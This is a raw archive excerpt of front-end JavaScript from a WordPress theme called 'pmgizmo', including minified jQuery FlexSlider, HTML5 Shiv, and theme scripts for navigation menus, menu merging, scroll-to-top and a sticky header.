transitionend",function(){i.after(a)}),a.animating=!1,a.currentSlide=a.animatingTo):(a.slides.eq(a.currentSlide).fadeOut(i.animationSpeed,i.easing),a.slides.eq(t).fadeIn(i.animationSpeed,i.easing,a.wrapup));else{var h,S,x,y=l?a.slides.filter(":first").height():a.computedW;d?(h=i.itemWidth>a.w?2*i.itemMargin:i.itemMargin,x=(a.itemW+h)*a.move*a.animatingTo,S=x>a.limit&&1!==a.visible?a.limit:x):S=0===a.currentSlide&&t===a.count-1&&i.animationLoop&&"next"!==a.direction?c?(a.count+a.cloneOffset)*y:0:a.currentSlide===a.last&&0===t&&i.animationLoop&&"prev"!==a.direction?c?0:(a.count+1)*y:c?(a.count-1-t+a.cloneOffset)*y:(t+a.cloneOffset)*y,a.setProps(S,"",i.animationSpeed),a.transitions?(i.animationLoop&&a.atEnd||(a.animating=!1,a.currentSlide=a.animatingTo),a.container.unbind("webkitTransitionEnd transitionend"),a.container.bind("webkitTransitionEnd transitionend",function(){a.wrapup(y)})):a.container.animate(a.args,i.animationSpeed,i.easing,function(){a.wrapup(y)})}i.smoothHeight&&m.smoothHeight(i.animationSpeed)}},a.wrapup=function(e){u||d||(0===a.currentSlide&&a.animatingTo===a.last&&i.animationLoop?a.setProps(e,"jumpEnd"):a.currentSlide===a.last&&0===a.animatingTo&&i.animationLoop&&a.setProps(e,"jumpStart")),a.animating=!1,a.currentSlide=a.animatingTo,i.after(a)},a.animateSlides=function(){a.animating||a.flexAnimate(a.getTarget("next"))},a.pause=function(){clearInterval(a.animatedSlides),a.playing=!1,i.pausePlay&&m.pausePlay.update("play"),a.syncExists&&m.sync("pause")},a.play=function(){a.animatedSlides=setInterval(a.animateSlides,i.slideshowSpeed),a.playing=!0,i.pausePlay&&m.pausePlay.update("pause"),a.syncExists&&m.sync("play")},a.canAdvance=function(e,t){var n=p?a.pagingCount-1:a.last;return t?!0:p&&a.currentItem===a.count-1&&0===e&&"prev"===a.direction?!0:p&&0===a.currentItem&&e===a.pagingCount-1&&"next"!==a.direction?!1:e!==a.currentSlide||p?i.animationLoop?!0:a.atEnd&&0===a.currentSlide&&e===n&&"next"!==a.direction?!1:a.atEnd&&a.currentSlide===n&&0===e&&"next"===a.direction?!1:!0:!1},a.getTarget=function(e){return a.direction=e,"next"===e?a.currentSlide===a.last?0:a.currentSlide+1:0===a.currentSlide?a.last:a.currentSlide-1},a.setProps=function(e,t,n){var o=function(){var n=e?e:(a.itemW+i.itemMargin)*a.move*a.animatingTo,o=function(){if(d)return"setTouch"===t?e:c&&a.animatingTo===a.last?0:c?a.limit-(a.itemW+i.itemMargin)*a.move*a.animatingTo:a.animatingTo===a.last?a.limit:n;switch(t){case"setTotal":return c?(a.count-1-a.currentSlide+a.cloneOffset)*e:(a.currentSlide+a.cloneOffset)*e;case"setTouch":return c?e:e;case"jumpEnd":return c?e:a.count*e;case"jumpStart":return c?a.count*e:e;default:return e}}();return-1*o+"px"}();a.transitions&&(o=l?"translate3d(0,"+o+",0)":"translate3d("+o+",0,0)",n=void 0!==n?n/1e3+"s":"0s",a.container.css("-"+a.pfx+"-transition-duration",n)),a.args[a.prop]=o,(a.transitions||void 0===n)&&a.container.css(a.args)},a.setup=function(t){if(u)a.slides.css({width:"100%","float":"left",marginRight:"-100%",position:"relative"}),"init"===t&&(s?a.slides.css({opacity:0,display:"block",webkitTransition:"opacity "+i.animationSpeed/1e3+"s ease",zIndex:1}).eq(a.currentSlide).css({opacity:1,zIndex:2}):a.slides.eq(a.currentSlide).fadeIn(i.animationSpeed,i.easing)),i.smoothHeight&&m.smoothHeight();else{var n,r;"init"===t&&(a.viewport=e('<div class="'+o+'viewport"></div>').css({overflow:"hidden",position:"relative"}).appendTo(a).append(a.container),a.cloneCount=0,a.cloneOffset=0,c&&(r=e.makeArray(a.slides).reverse(),a.slides=e(r),a.container.empty().append(a.slides))),i.animationLoop&&!d&&(a.cloneCount=2,a.cloneOffset=1,"init"!==t&&a.container.find(".clone").remove(),a.container.append(a.slides.first().clone().addClass("clone")).prepend(a.slides.last().clone().addClass("clone"))),a.newSlides=e(i.selector,a),n=c?a.count-1-a.currentSlide+a.cloneOffset:a.currentSlide+a.cloneOffset,l&&!d?(a.container.height(200*(a.count+a.cloneCount)+"%").css("position","absolute").width("100%"),setTimeout(function(){a.newSlides.css({display:"block"}),a.doMath(),a.viewport.height(a.h),a.setProps(n*a.h,"init")},"init"===t?100:0)):(a.container.width(200*(a.count+a.cloneCount)+"%"),a.setProps(n*a.computedW,"init"),setTimeout(function(){a.doMath(),a.newSlides.css({width:a.computedW,"float":"left",display:"block"}),i.smoothHeight&&m.smoothHeight()},"init"===t?100:0))}d||a.slides.removeClass(o+"active-slide").eq(a.currentSlide).addClass(o+"active-slide")},a.doMath=function(){var e=a.slides.first(),t=i.itemMargin,n=i.minItems,o=i.maxItems;a.w=a.width(),a.h=e.height(),a.boxPadding=e.outerWidth()-e.width(),d?(a.itemT=i.itemWidth+t,a.minW=n?n*a.itemT:a.w,a.maxW=o?o*a.itemT:a.w,a.itemW=a.minW>a.w?(a.w-t*n)/n:a.maxW<a.w?(a.w-t*o)/o:i.itemWidth>a.w?a.w:i.itemWidth,a.visible=Math.floor(a.w/(a.itemW+t)),a.move=i.move>0&&i.move<a.visible?i.move:a.visible,a.pagingCount=Math.ceil((a.count-a.visible)/a.move+1),a.last=a.pagingCount-1,a.limit=1===a.pagingCount?0:i.itemWidth>a.w?(a.itemW+2*t)*a.count-a.w-t:(a.itemW+t)*a.count-a.w-t):(a.itemW=a.w,a.pagingCount=a.count,a.last=a.count-1),a.computedW=a.itemW-a.boxPadding},a.update=function(e,t){a.doMath(),d||(e<a.currentSlide?a.currentSlide+=1:e<=a.currentSlide&&0!==e&&(a.currentSlide-=1),a.animatingTo=a.currentSlide),i.controlNav&&!a.manualControls&&("add"===t&&!d||a.pagingCount>a.controlNav.length?m.controlNav.update("add"):("remove"===t&&!d||a.pagingCount<a.controlNav.length)&&(d&&a.currentSlide>a.last&&(a.currentSlide-=1,a.animatingTo-=1),m.controlNav.update("remove",a.last))),i.directionNav&&m.directionNav.update()},a.addSlide=function(t,n){var o=e(t);a.count+=1,a.last=a.count-1,l&&c?void 0!==n?a.slides.eq(a.count-n).after(o):a.container.prepend(o):void 0!==n?a.slides.eq(n).before(o):a.container.append(o),a.update(n,"add"),a.slides=e(i.selector+":not(.clone)",a),a.setup(),i.added(a)},a.removeSlide=function(t){var n=isNaN(t)?a.slides.index(e(t)):t;a.count-=1,a.last=a.count-1,isNaN(t)?e(t,a.slides).remove():l&&c?a.slides.eq(a.last).remove():a.slides.eq(t).remove(),a.doMath(),a.update(n,"remove"),a.slides=e(i.selector+":not(.clone)",a),a.setup(),i.removed(a)},m.init()},e.flexslider.defaults={namespace:"flex-",selector:".slides > li",animation:"fade",easing:"swing",direction:"horizontal",reverse:!1,animationLoop:!0,smoothHeight:!1,startAt:0,slideshow:!0,slideshowSpeed:7e3,animationSpeed:600,initDelay:0,randomize:!1,pauseOnAction:!0,pauseOnHover:!1,useCSS:!0,touch:!0,video:!1,controlNav:!0,directionNav:!0,prevText:"Previous",nextText:"Next",keyboard:!0,multipleKeyboard:!1,mousewheel:!1,pausePlay:!1,pauseText:"Pause",playText:"Play",controlsContainer:"",manualControls:"",sync:"",asNavFor:"",itemWidth:0,itemMargin:0,minItems:0,maxItems:0,move:0,start:function(){},before:function(){},after:function(){},end:function(){},added:function(){},removed:function(){}},e.fn.flexslider=function(t){if(void 0===t&&(t={}),"object"==typeof t)return this.each(function(){var n=e(this),a=t.selector?t.selector:".slides > li",i=n.find(a);1===i.length?(i.fadeIn(400),t.start&&t.start(n)):void 0==n.data("flexslider")&&new e.flexslider(this,t)});var n=e(this).data("flexslider");switch(t){case"play":n.play();break;case"pause":n.pause();break;case"next":n.flexAnimate(n.getTarget("next"),!0);break;case"prev":case"previous":n.flexAnimate(n.getTarget("prev"),!0);break;default:"number"==typeof t&&n.flexAnimate(t,!0)}}}(jQuery);pmgizmo/js/slider.js000064400000000344152223213640010463 0ustar00jQuery(document).ready(function(e){e("#frontpage-slider").flexslider({animation:pmthemes_slider_params.animation,namespace:"pmsflex-",selector:".pmsslides > li",smoothHeight:!0,controlsContainer:".frontpage-slider-controls"})});pmgizmo/js/navigation.js000064400000007742152223213640011351 0ustar00/**
 * Forked from Twenty Thirteen.
 */

jQuery(document).ready(function($) {
								
	var body    = $( 'body' ),
	    _window = $( window ),
		nav, button, menu;

	nav = $( '.main-navigation' );
	button = nav.find( '.menu-toggle' );
	menu = nav.find( '.nav-menu' );

	/**
	 * Adds a top margin to the footer if the sidebar widget area is higher
	 * than the rest of the page, to help the footer always visually clear
	 * the sidebar.
	 */
	$( function() {
		if ( body.is( '.sidebar' ) ) {
			var sidebar   = $( '#secondary .widget-area' ),
			    secondary = ( 0 === sidebar.length ) ? -40 : sidebar.height(),
			    margin    = $( '#tertiary .widget-area' ).height() - $( '#content' ).height() - secondary;

			if ( margin > 0 && _window.innerWidth() > 999 ) {
				$( '#colophon' ).css( 'margin-top', margin + 'px' );
			}
		}
	} );

	/**
	 * Enables menu toggle for small screens.
	 */
	( function() {
		if ( ! nav || ! button ) {
			return;
		}

		// Hide button if menu is missing or empty.
		if ( ! menu || ! menu.children().length ) {
			button.hide();
			return;
		}

		button.on( 'click.pmthemes', function() {
            nav.toggleClass( 'toggled-on' );
            if ( nav.hasClass( 'toggled-on' ) ) {
                $( this ).attr( 'aria-expanded', 'true' );
                menu.attr( 'aria-expanded', 'true' );
            } else {
                $( this ).attr( 'aria-expanded', 'false' );
                menu.attr( 'aria-expanded', 'false' );
            }
        } );

		// Fix sub-menus for touch devices.
		if ( 'ontouchstart' in window ) {
			menu.find( '.menu-item-has-children > a, .page_item_has_children > a' ).on( 'touchstart.pmthemes', function( e ) {
				var el = $( this ).parent( 'li' );

				if ( ! el.hasClass( 'focus' ) ) {
					e.preventDefault();
					el.toggleClass( 'focus' );
					el.siblings( '.focus' ).removeClass( 'focus' );
				}
			} );
		}

		// Better focus for hidden submenu items for accessibility.
		menu.find( 'a' ).on( 'focus.pmthemes blur.pmthemes', function() {
			$( this ).parents( '.menu-item, .page_item' ).toggleClass( 'focus' );
		} );
	} )();
	/**
	 * @summary Add or remove ARIA attributes.
	 * Uses jQuery's width() function to determine the size of the window and add
	 * the default ARIA attributes for the menu toggle if it's visible.
	 * @since Twenty Thirteen 1.5
	 */
	function onResizeARIA() {
		if ( 643 > _window.width() ) {
			button.attr( 'aria-expanded', 'false' );
			menu.attr( 'aria-expanded', 'false' );
			button.attr( 'aria-controls', 'primary-menu' );
		} else {
			button.removeAttr( 'aria-expanded' );
			menu.removeAttr( 'aria-expanded' );
			button.removeAttr( 'aria-controls' );
		}
	}
	_window
		.on( 'load.pmthemes', onResizeARIA )
		.on( 'resize.pmthemes', function() {
			onResizeARIA();
	} );
						
	/** Mobile Top Navigation */
	/* Add toggle effect */
	$('#topnav-icon').on('click', function(){
		$('#topnav-menu').slideToggle();
		$(this).toggleClass('active');
	});
	
	/** Mobile Footer Navigation */
	/* Add toggle effect */
	$('#footernav-icon').on('click', function(){
		$('#footernav-menu').slideToggle();
		$(this).toggleClass('active');
	});

	/** Dongle Seach Form */
	$('.search-icon').on('click', function(){
		$('#wrapper .search-form-top').slideToggle();
		$(this).toggleClass('active');
	});

	/** Lol to Top */
	$('.scrollToTop').hide();
	$(window).scroll(function () {
		if( $(this).scrollTop() > 100 ) {
			$('.scrollToTop').fadeIn(300);
		}
		else {
			$('.scrollToTop').fadeOut(300);
		}
	});
	$('.scrollToTop').click(function(){
		$('html, body').animate({scrollTop:0}, 500 );
		return false;
	});

	/** Sticky Menu */
	$(window).scroll(function() {
		if (screen.width >= 1340) {
		var yPos = ( $(window).scrollTop() );
			if(yPos > 165) { // show sticky menu after screen has scrolled down 200px from the top
				$(".stickynav").fadeIn();
			} else {
				$(".stickynav").fadeOut();
			}
		}
	});

});pmgizmo/js/featured-content-admin.js000064400000000256152223213640013540 0ustar00jQuery(document).ready(function($){$("#customize-control-featured-content-tag-name input").suggest(ajaxurl+"?action=ajax-tag-search&tax=post_tag",{delay:500,minchars:2})
});pmgizmo/js/merge-menus.js000064400000001456152223213640011432 0ustar00/**
 * Simple script to merge two menus
 */
jQuery(document).ready(function($) {
	/** Combine menus */
	setupMenus();
	$( window ).resize( function() {
		setupMenus();
	});
	function setupMenus () {
		if ( window.innerWidth <= 768 ) {
			$( 'ul#topnav-menu > li' ).addClass('moved-item'); //tag moved items so we can move them back
			$( 'ul#topnav-menu > li' ).appendTo( 'ul#menu-main,ul#menu-main-menu' );
			$( '#topheader' ).hide();
		}
		if ( window.innerWidth > 768 ) {
			$( '.main-navigation ul#menu-main,.main-navigation ul#menu-main-menu, nav .sub-menu' ).removeAttr( 'style' );
			$( '.nav-menu > .menu-item' ).removeClass( 'menu-open' );
			$( '#topheader' ).show();
			$( 'ul#menu-main > li.moved-item,ul#menu-main-menu > li.moved-item' ).appendTo( 'ul#topnav-menu' );
		}
	}
});pmgizmo/js/html5shiv.min.js000064400000005117152223213640011711 0ustar00/**
* @preserve HTML5 Shiv 3.7.2 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
*/
!function(a,b){function c(a,b){var c=a.createElement("p"),d=a.getElementsByTagName("head")[0]||a.documentElement;return c.innerHTML="x<style>"+b+"</style>",d.insertBefore(c.lastChild,d.firstChild)}function d(){var a=t.elements;return"string"==typeof a?a.split(" "):a}function e(a,b){var c=t.elements;"string"!=typeof c&&(c=c.join(" ")),"string"!=typeof a&&(a=a.join(" ")),t.elements=c+" "+a,j(b)}function f(a){var b=s[a[q]];return b||(b={},r++,a[q]=r,s[r]=b),b}function g(a,c,d){if(c||(c=b),l)return c.createElement(a);d||(d=f(c));var e;return e=d.cache[a]?d.cache[a].cloneNode():p.test(a)?(d.cache[a]=d.createElem(a)).cloneNode():d.createElem(a),!e.canHaveChildren||o.test(a)||e.tagUrn?e:d.frag.appendChild(e)}function h(a,c){if(a||(a=b),l)return a.createDocumentFragment();c=c||f(a);for(var e=c.frag.cloneNode(),g=0,h=d(),i=h.length;i>g;g++)e.createElement(h[g]);return e}function i(a,b){b.cache||(b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag()),a.createElement=function(c){return t.shivMethods?g(c,a,b):b.createElem(c)},a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+d().join().replace(/[\w\-:]+/g,function(a){return b.createElem(a),b.frag.createElement(a),'c("'+a+'")'})+");return n}")(t,b.frag)}function j(a){a||(a=b);var d=f(a);return!t.shivCSS||k||d.hasCSS||(d.hasCSS=!!c(a,"article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}")),l||i(a,d),a}var k,l,m="3.7.2",n=a.html5||{},o=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,p=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,q="_html5shiv",r=0,s={};!function(){try{var a=b.createElement("a");a.innerHTML="<xyz></xyz>",k="hidden"in a,l=1==a.childNodes.length||function(){b.createElement("a");var a=b.createDocumentFragment();return"undefined"==typeof a.cloneNode||"undefined"==typeof a.createDocumentFragment||"undefined"==typeof a.createElement}()}catch(c){k=!0,l=!0}}();var t={elements:n.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output picture progress section summary template time video",version:m,shivCSS:n.shivCSS!==!1,supportsUnknownElements:l,shivMethods:n.shivMethods!==!1,type:"default",shivDocument:j,createElement:g,createDocumentFragment:h,addElements:e};a.html5=t,j(b)}(this,document);pmgizmo/js/.htaccess000064400000000000152223213640010426 0ustar00pmgizmo/js/jquery.flexslider-min.js000064400000041077152223213640013451 0ustar00/*
 * jQuery FlexSlider v2.1
 * http://www.woothemes.com/flexslider/
 *
 * Copyright 2012 WooThemes
 * Free to use under the GPLv2 license.
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Contributing author: Tyler Smith (@mbmufffin)
 */
(function(d){d.flexslider=function(j,l){var a=d(j),c=d.extend({},d.flexslider.defaults,l),e=c.namespace,q="ontouchstart"in window||window.DocumentTouch&&document instanceof DocumentTouch,u=q?"touchend":"click",m="vertical"===c.direction,n=c.reverse,h=0<c.itemWidth,s="fade"===c.animation,t=""!==c.asNavFor,f={};d.data(j,"flexslider",a);f={init:function(){a.animating=!1;a.currentSlide=c.startAt;a.animatingTo=a.currentSlide;a.atEnd=0===a.currentSlide||a.currentSlide===a.last;a.containerSelector=c.selector.substr(0,
c.selector.search(" "));a.slides=d(c.selector,a);a.container=d(a.containerSelector,a);a.count=a.slides.length;a.syncExists=0<d(c.sync).length;"slide"===c.animation&&(c.animation="swing");a.prop=m?"top":"marginLeft";a.args={};a.manualPause=!1;var b=a,g;if(g=!c.video)if(g=!s)if(g=c.useCSS)a:{g=document.createElement("div");var p=["perspectiveProperty","WebkitPerspective","MozPerspective","OPerspective","msPerspective"],e;for(e in p)if(void 0!==g.style[p[e]]){a.pfx=p[e].replace("Perspective","").toLowerCase();
a.prop="-"+a.pfx+"-transform";g=!0;break a}g=!1}b.transitions=g;""!==c.controlsContainer&&(a.controlsContainer=0<d(c.controlsContainer).length&&d(c.controlsContainer));""!==c.manualControls&&(a.manualControls=0<d(c.manualControls).length&&d(c.manualControls));c.randomize&&(a.slides.sort(function(){return Math.round(Math.random())-0.5}),a.container.empty().append(a.slides));a.doMath();t&&f.asNav.setup();a.setup("init");c.controlNav&&f.controlNav.setup();c.directionNav&&f.directionNav.setup();c.keyboard&&
(1===d(a.containerSelector).length||c.multipleKeyboard)&&d(document).bind("keyup",function(b){b=b.keyCode;if(!a.animating&&(39===b||37===b))b=39===b?a.getTarget("next"):37===b?a.getTarget("prev"):!1,a.flexAnimate(b,c.pauseOnAction)});c.mousewheel&&a.bind("mousewheel",function(b,g){b.preventDefault();var d=0>g?a.getTarget("next"):a.getTarget("prev");a.flexAnimate(d,c.pauseOnAction)});c.pausePlay&&f.pausePlay.setup();c.slideshow&&(c.pauseOnHover&&a.hover(function(){!a.manualPlay&&!a.manualPause&&a.pause()},
function(){!a.manualPause&&!a.manualPlay&&a.play()}),0<c.initDelay?setTimeout(a.play,c.initDelay):a.play());q&&c.touch&&f.touch();(!s||s&&c.smoothHeight)&&d(window).bind("resize focus",f.resize);setTimeout(function(){c.start(a)},200)},asNav:{setup:function(){a.asNav=!0;a.animatingTo=Math.floor(a.currentSlide/a.move);a.currentItem=a.currentSlide;a.slides.removeClass(e+"active-slide").eq(a.currentItem).addClass(e+"active-slide");a.slides.click(function(b){b.preventDefault();b=d(this);var g=b.index();
!d(c.asNavFor).data("flexslider").animating&&!b.hasClass("active")&&(a.direction=a.currentItem<g?"next":"prev",a.flexAnimate(g,c.pauseOnAction,!1,!0,!0))})}},controlNav:{setup:function(){a.manualControls?f.controlNav.setupManual():f.controlNav.setupPaging()},setupPaging:function(){var b=1,g;a.controlNavScaffold=d('<ol class="'+e+"control-nav "+e+("thumbnails"===c.controlNav?"control-thumbs":"control-paging")+'"></ol>');if(1<a.pagingCount)for(var p=0;p<a.pagingCount;p++)g="thumbnails"===c.controlNav?
'<img src="'+a.slides.eq(p).attr("data-thumb")+'"/>':"<a>"+b+"</a>",a.controlNavScaffold.append("<li>"+g+"</li>"),b++;a.controlsContainer?d(a.controlsContainer).append(a.controlNavScaffold):a.append(a.controlNavScaffold);f.controlNav.set();f.controlNav.active();a.controlNavScaffold.delegate("a, img",u,function(b){b.preventDefault();b=d(this);var g=a.controlNav.index(b);b.hasClass(e+"active")||(a.direction=g>a.currentSlide?"next":"prev",a.flexAnimate(g,c.pauseOnAction))});q&&a.controlNavScaffold.delegate("a",
"click touchstart",function(a){a.preventDefault()})},setupManual:function(){a.controlNav=a.manualControls;f.controlNav.active();a.controlNav.live(u,function(b){b.preventDefault();b=d(this);var g=a.controlNav.index(b);b.hasClass(e+"active")||(g>a.currentSlide?a.direction="next":a.direction="prev",a.flexAnimate(g,c.pauseOnAction))});q&&a.controlNav.live("click touchstart",function(a){a.preventDefault()})},set:function(){a.controlNav=d("."+e+"control-nav li "+("thumbnails"===c.controlNav?"img":"a"),
a.controlsContainer?a.controlsContainer:a)},active:function(){a.controlNav.removeClass(e+"active").eq(a.animatingTo).addClass(e+"active")},update:function(b,c){1<a.pagingCount&&"add"===b?a.controlNavScaffold.append(d("<li><a>"+a.count+"</a></li>")):1===a.pagingCount?a.controlNavScaffold.find("li").remove():a.controlNav.eq(c).closest("li").remove();f.controlNav.set();1<a.pagingCount&&a.pagingCount!==a.controlNav.length?a.update(c,b):f.controlNav.active()}},directionNav:{setup:function(){var b=d('<ul class="'+
e+'direction-nav"><li><a class="'+e+'prev" href="#">'+c.prevText+'</a></li><li><a class="'+e+'next" href="#">'+c.nextText+"</a></li></ul>");a.controlsContainer?(d(a.controlsContainer).append(b),a.directionNav=d("."+e+"direction-nav li a",a.controlsContainer)):(a.append(b),a.directionNav=d("."+e+"direction-nav li a",a));f.directionNav.update();a.directionNav.bind(u,function(b){b.preventDefault();b=d(this).hasClass(e+"next")?a.getTarget("next"):a.getTarget("prev");a.flexAnimate(b,c.pauseOnAction)});
q&&a.directionNav.bind("click touchstart",function(a){a.preventDefault()})},update:function(){var b=e+"disabled";1===a.pagingCount?a.directionNav.addClass(b):c.animationLoop?a.directionNav.removeClass(b):0===a.animatingTo?a.directionNav.removeClass(b).filter("."+e+"prev").addClass(b):a.animatingTo===a.last?a.directionNav.removeClass(b).filter("."+e+"next").addClass(b):a.directionNav.removeClass(b)}},pausePlay:{setup:function(){var b=d('<div class="'+e+'pauseplay"><a></a></div>');a.controlsContainer?
(a.controlsContainer.append(b),a.pausePlay=d("."+e+"pauseplay a",a.controlsContainer)):(a.append(b),a.pausePlay=d("."+e+"pauseplay a",a));f.pausePlay.update(c.slideshow?e+"pause":e+"play");a.pausePlay.bind(u,function(b){b.preventDefault();d(this).hasClass(e+"pause")?(a.manualPause=!0,a.manualPlay=!1,a.pause()):(a.manualPause=!1,a.manualPlay=!0,a.play())});q&&a.pausePlay.bind("click touchstart",function(a){a.preventDefault()})},update:function(b){"play"===b?a.pausePlay.removeClass(e+"pause").addClass(e+
"play").text(c.playText):a.pausePlay.removeClass(e+"play").addClass(e+"pause").text(c.pauseText)}},touch:function(){function b(b){k=m?d-b.touches[0].pageY:d-b.touches[0].pageX;q=m?Math.abs(k)<Math.abs(b.touches[0].pageX-e):Math.abs(k)<Math.abs(b.touches[0].pageY-e);if(!q||500<Number(new Date)-l)b.preventDefault(),!s&&a.transitions&&(c.animationLoop||(k/=0===a.currentSlide&&0>k||a.currentSlide===a.last&&0<k?Math.abs(k)/r+2:1),a.setProps(f+k,"setTouch"))}function g(){j.removeEventListener("touchmove",
b,!1);if(a.animatingTo===a.currentSlide&&!q&&null!==k){var h=n?-k:k,m=0<h?a.getTarget("next"):a.getTarget("prev");a.canAdvance(m)&&(550>Number(new Date)-l&&50<Math.abs(h)||Math.abs(h)>r/2)?a.flexAnimate(m,c.pauseOnAction):s||a.flexAnimate(a.currentSlide,c.pauseOnAction,!0)}j.removeEventListener("touchend",g,!1);f=k=e=d=null}var d,e,f,r,k,l,q=!1;j.addEventListener("touchstart",function(k){a.animating?k.preventDefault():1===k.touches.length&&(a.pause(),r=m?a.h:a.w,l=Number(new Date),f=h&&n&&a.animatingTo===
a.last?0:h&&n?a.limit-(a.itemW+c.itemMargin)*a.move*a.animatingTo:h&&a.currentSlide===a.last?a.limit:h?(a.itemW+c.itemMargin)*a.move*a.currentSlide:n?(a.last-a.currentSlide+a.cloneOffset)*r:(a.currentSlide+a.cloneOffset)*r,d=m?k.touches[0].pageY:k.touches[0].pageX,e=m?k.touches[0].pageX:k.touches[0].pageY,j.addEventListener("touchmove",b,!1),j.addEventListener("touchend",g,!1))},!1)},resize:function(){!a.animating&&a.is(":visible")&&(h||a.doMath(),s?f.smoothHeight():h?(a.slides.width(a.computedW),
a.update(a.pagingCount),a.setProps()):m?(a.viewport.height(a.h),a.setProps(a.h,"setTotal")):(c.smoothHeight&&f.smoothHeight(),a.newSlides.width(a.computedW),a.setProps(a.computedW,"setTotal")))},smoothHeight:function(b){if(!m||s){var c=s?a:a.viewport;b?c.animate({height:a.slides.eq(a.animatingTo).height()},b):c.height(a.slides.eq(a.animatingTo).height())}},sync:function(b){var g=d(c.sync).data("flexslider"),e=a.animatingTo;switch(b){case "animate":g.flexAnimate(e,c.pauseOnAction,!1,!0);break;case "play":!g.playing&&
!g.asNav&&g.play();break;case "pause":g.pause()}}};a.flexAnimate=function(b,g,p,j,l){t&&1===a.pagingCount&&(a.direction=a.currentItem<b?"next":"prev");if(!a.animating&&(a.canAdvance(b,l)||p)&&a.is(":visible")){if(t&&j)if(p=d(c.asNavFor).data("flexslider"),a.atEnd=0===b||b===a.count-1,p.flexAnimate(b,!0,!1,!0,l),a.direction=a.currentItem<b?"next":"prev",p.direction=a.direction,Math.ceil((b+1)/a.visible)-1!==a.currentSlide&&0!==b)a.currentItem=b,a.slides.removeClass(e+"active-slide").eq(b).addClass(e+
"active-slide"),b=Math.floor(b/a.visible);else return a.currentItem=b,a.slides.removeClass(e+"active-slide").eq(b).addClass(e+"active-slide"),!1;a.animating=!0;a.animatingTo=b;c.before(a);g&&a.pause();a.syncExists&&!l&&f.sync("animate");c.controlNav&&f.controlNav.active();h||a.slides.removeClass(e+"active-slide").eq(b).addClass(e+"active-slide");a.atEnd=0===b||b===a.last;c.directionNav&&f.directionNav.update();b===a.last&&(c.end(a),c.animationLoop||a.pause());if(s)q?(a.slides.eq(a.currentSlide).css({opacity:0,
zIndex:1}),a.slides.eq(b).css({opacity:1,zIndex:2}),a.slides.unbind("webkitTransitionEnd transitionend"),a.slides.eq(a.currentSlide).bind("webkitTransitionEnd transitionend",function(){c.after(a)}),a.animating=!1,a.currentSlide=a.animatingTo):(a.slides.eq(a.currentSlide).fadeOut(c.animationSpeed,c.easing),a.slides.eq(b).fadeIn(c.animationSpeed,c.easing,a.wrapup));else{var r=m?a.slides.filter(":first").height():a.computedW;h?(b=c.itemWidth>a.w?2*c.itemMargin:c.itemMargin,b=(a.itemW+b)*a.move*a.animatingTo,
b=b>a.limit&&1!==a.visible?a.limit:b):b=0===a.currentSlide&&b===a.count-1&&c.animationLoop&&"next"!==a.direction?n?(a.count+a.cloneOffset)*r:0:a.currentSlide===a.last&&0===b&&c.animationLoop&&"prev"!==a.direction?n?0:(a.count+1)*r:n?(a.count-1-b+a.cloneOffset)*r:(b+a.cloneOffset)*r;a.setProps(b,"",c.animationSpeed);if(a.transitions){if(!c.animationLoop||!a.atEnd)a.animating=!1,a.currentSlide=a.animatingTo;a.container.unbind("webkitTransitionEnd transitionend");a.container.bind("webkitTransitionEnd transitionend",
function(){a.wrapup(r)})}else a.container.animate(a.args,c.animationSpeed,c.easing,function(){a.wrapup(r)})}c.smoothHeight&&f.smoothHeight(c.animationSpeed)}};a.wrapup=function(b){!s&&!h&&(0===a.currentSlide&&a.animatingTo===a.last&&c.animationLoop?a.setProps(b,"jumpEnd"):a.currentSlide===a.last&&(0===a.animatingTo&&c.animationLoop)&&a.setProps(b,"jumpStart"));a.animating=!1;a.currentSlide=a.animatingTo;c.after(a)};a.animateSlides=function(){a.animating||a.flexAnimate(a.getTarget("next"))};a.pause=
function(){clearInterval(a.animatedSlides);a.playing=!1;c.pausePlay&&f.pausePlay.update("play");a.syncExists&&f.sync("pause")};a.play=function(){a.animatedSlides=setInterval(a.animateSlides,c.slideshowSpeed);a.playing=!0;c.pausePlay&&f.pausePlay.update("pause");a.syncExists&&f.sync("play")};a.canAdvance=function(b,g){var d=t?a.pagingCount-1:a.last;return g?!0:t&&a.currentItem===a.count-1&&0===b&&"prev"===a.direction?!0:t&&0===a.currentItem&&b===a.pagingCount-1&&"next"!==a.direction?!1:b===a.currentSlide&&
!t?!1:c.animationLoop?!0:a.atEnd&&0===a.currentSlide&&b===d&&"next"!==a.direction?!1:a.atEnd&&a.currentSlide===d&&0===b&&"next"===a.direction?!1:!0};a.getTarget=function(b){a.direction=b;return"next"===b?a.currentSlide===a.last?0:a.currentSlide+1:0===a.currentSlide?a.last:a.currentSlide-1};a.setProps=function(b,g,d){var e,f=b?b:(a.itemW+c.itemMargin)*a.move*a.animatingTo;e=-1*function(){if(h)return"setTouch"===g?b:n&&a.animatingTo===a.last?0:n?a.limit-(a.itemW+c.itemMargin)*a.move*a.animatingTo:a.animatingTo===
a.last?a.limit:f;switch(g){case "setTotal":return n?(a.count-1-a.currentSlide+a.cloneOffset)*b:(a.currentSlide+a.cloneOffset)*b;case "setTouch":return b;case "jumpEnd":return n?b:a.count*b;case "jumpStart":return n?a.count*b:b;default:return b}}()+"px";a.transitions&&(e=m?"translate3d(0,"+e+",0)":"translate3d("+e+",0,0)",d=void 0!==d?d/1E3+"s":"0s",a.container.css("-"+a.pfx+"-transition-duration",d));a.args[a.prop]=e;(a.transitions||void 0===d)&&a.container.css(a.args)};a.setup=function(b){if(s)a.slides.css({width:"100%",
